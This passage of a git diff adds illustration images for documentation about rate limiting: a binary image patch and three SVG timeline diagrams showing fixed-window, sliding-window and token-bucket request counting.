z?&x^s-xb3o(LS%gJ>6unS<v4FCb*%2&Rw2v42B4hf@O44Qd8T2NsvA@g^_v&5rYUw
z;ms{|>)i+n?65k^l;oixR`3=(@c^wpuzVUB)tr%(Fl3}zICP)KOk3~3c5GWpo!#SV
zipg|)VJ@51jMufaurQ{sE+@z8j&fI*R!%JAk%o$TX?gKkJyM$(kbP$sf4n_X-Q4`{
zINc|K-H*qp;n|&?fdF20_Mx9YA%a|{HD5u82-Kn$GKHO#*j7zpVd0M?A2Yo@RpM0~
zeOK<^dnoC-1llYonLfOJFmeD~F;G)kYu;kzV|`|X;Ro#||EsI|M~|2krRwVIHzw=7
zdthcbiMa1^siHewAO&e`6vvm6qBq@`{}E2kB%W7kvQ`59=g;k~&6tC!U-qyKjYfk;
z*W|BH<>mPA$>^-CtOkGM4|L@Wtx425e-W_BL8E;{{hHuTW5Z)(I?!|tiL}!*Mqxow
z{6MO!Lfr8hsMZyzs1m^9rxsFj{_sm6m_2HDm=G<H{YH*_G*m7)xFRjhn~vYAL2p)i
ztekLcbQD!wytcL$b9AVpqC!kUf*;7L9Aj+q8I#J-DlT59<oW2#!VUx59GD&es}x$9
zGvHE&-p|`Dw#yNrp$eH&=P5ieg%J`Gvg+E}%IeyIfzj50YdkpNRtO{LiNX2dZfjcc
z5QBvc?}hd-HKr5lEJKi|Hqg?p^4tEg7Zv5LzZ%HxGOcsTb)n$@tWHSi!ybYMR93oy
zk~>w>AwK+k6<T4=Ah8{OvZvkij}9@FhfV0)Q6*$Z)Lp@M-|QYyJczcn&uVk6&{BWB
zxh}lXde~1PU&i*`L#tbHP&FRncXW}R9fZM(8kv~%+t+~Qy0*gx3V9|xEYd=$&A%^K
ziF9aS;4X2f7#a;q2d0YyObX*Y`Bm2cEHZ)|AtgYrZ2UhiGy30<43)tqr7|-;Jsq6^
zyRqYi_`&72ii@ITyp+L<f-j#xm%^$AAl!duuRRl}-)LwY>Ofq#*XH?6K6Oy?+%?vt
z0%TztNximdULuxH^Q2MB%CR{vQ_V>kNzT^R)&A2D=;=3To;W!;FiQCTsyUdPRcg-{
zYIC1vcv$B$!_2`kW=80!(c4g{l~Q3w{qUiH$I9XSkN5t4cOQLZRrS#NO*A&Fj`?L)
z=|~o?cUD=#vY?wfiwfes#A4FU$FhI?2q$wWCoeDlD4iUdZ|5{R{OW0*NV!GYe{6n5
z#SRa=!t$Gh4n+=s$H(=dV`g_qq~JL9o|ZYVozFQr3-Aq5rLLbbv?8V5w;BrADMLat
z(Dk+&y(iJMBI>HfoKJV%5wPi>B#RFl$3>0Fz@QjP`5`G7h6W8@o9R(~lxtr>_D2W{
z&!!+hp*_bjp#8?i<2(|vYzQl3l=<l2_JBA4Y`R@o_!BKiT(YU199whC>kJ>?yCF*$
zjt@lKx}{<G1B{62f4{k&iMgKM>xRS?@7rU;3RZEy4nt|ihA$NUogx0OGsB0kEj4<z
zT<O5hbb^&dj(?kS?m*rushF79%>)v#DVz|c&ve3|e?{=W2c?CR9Z|I^7ds;mE&SUq
zcRzia^xo_g79J@4mLw+4WcGq8+w~&>Mv9G`H~(XQJpmS(N&W9g^gl)oOYzCnUHR3X
g|II44m}@-M0uflQ&UFO1+zwDx)Kn;!e;NGW0O1n1CjbBd

literal 0
HcmV?d00001

diff --git a/_images/rate_limiter/fixed_window.svg b/_images/rate_limiter/fixed_window.svg
new file mode 100644
index 00000000000..83d5f6e79ac
--- /dev/null
+++ b/_images/rate_limiter/fixed_window.svg
@@ -0,0 +1,84 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="785" y="-140" width="125" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="847.5" y="-76.1187">
+        <tspan x="847.5" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="670" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="730" y="-76.1187">
+        <tspan x="730" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="520" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="580" y="-76.1187">
+        <tspan x="580" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="580" y="-150">
+      <tspan x="580" y="-150">1 hour window</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="730" y="-150">
+      <tspan x="730" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="850" y="-150">
+      <tspan x="850" y="-150">1 hour window</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/sliding_window.svg b/_images/rate_limiter/sliding_window.svg
new file mode 100644
index 00000000000..2c565615441
--- /dev/null
+++ b/_images/rate_limiter/sliding_window.svg
@@ -0,0 +1,65 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="610" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.7998" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="670" y="-76.1189">
+        <tspan x="670" y="-76.1189"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="670" y="-150">
+      <tspan x="670" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/token_bucket.svg b/_images/rate_limiter/token_bucket.svg
new file mode 100644
index 00000000000..29d6fc8f103
--- /dev/null
+++ b/_images/rate_limiter/token_bucket.svg
@@ -0,0 +1,83 @@
+<svg width="400" viewBox="483 2 463 173" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="170">
+      <tspan x="505" y="170">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="170">
+      <tspan x="565" y="170">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="170">
+      <tspan x="625" y="170">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="170">
+      <tspan x="685" y="170">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="170">
+      <tspan x="745" y="170">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="170">
+      <tspan x="805" y="170">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="170">
+      <tspan x="865" y="170">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="135" x2="945" y2="135"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="125" x2="505" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="130" x2="535" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="125" x2="565" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="130" x2="595" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="125" x2="625" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="130" x2="655" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="125" x2="685" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="130" x2="715" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="125" x2="745" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="130" x2="775" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="125" x2="805" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="130" x2="835" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="125" x2="865" y2="145"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="130" x2="895" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="125" x2="925" y2="145"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="170">
+      <tspan x="925" y="170">13:15</tspan>
+    </text>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="675" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="735" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="825" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="5" width="19.3548" height="20" rx="0" ry="0"/>
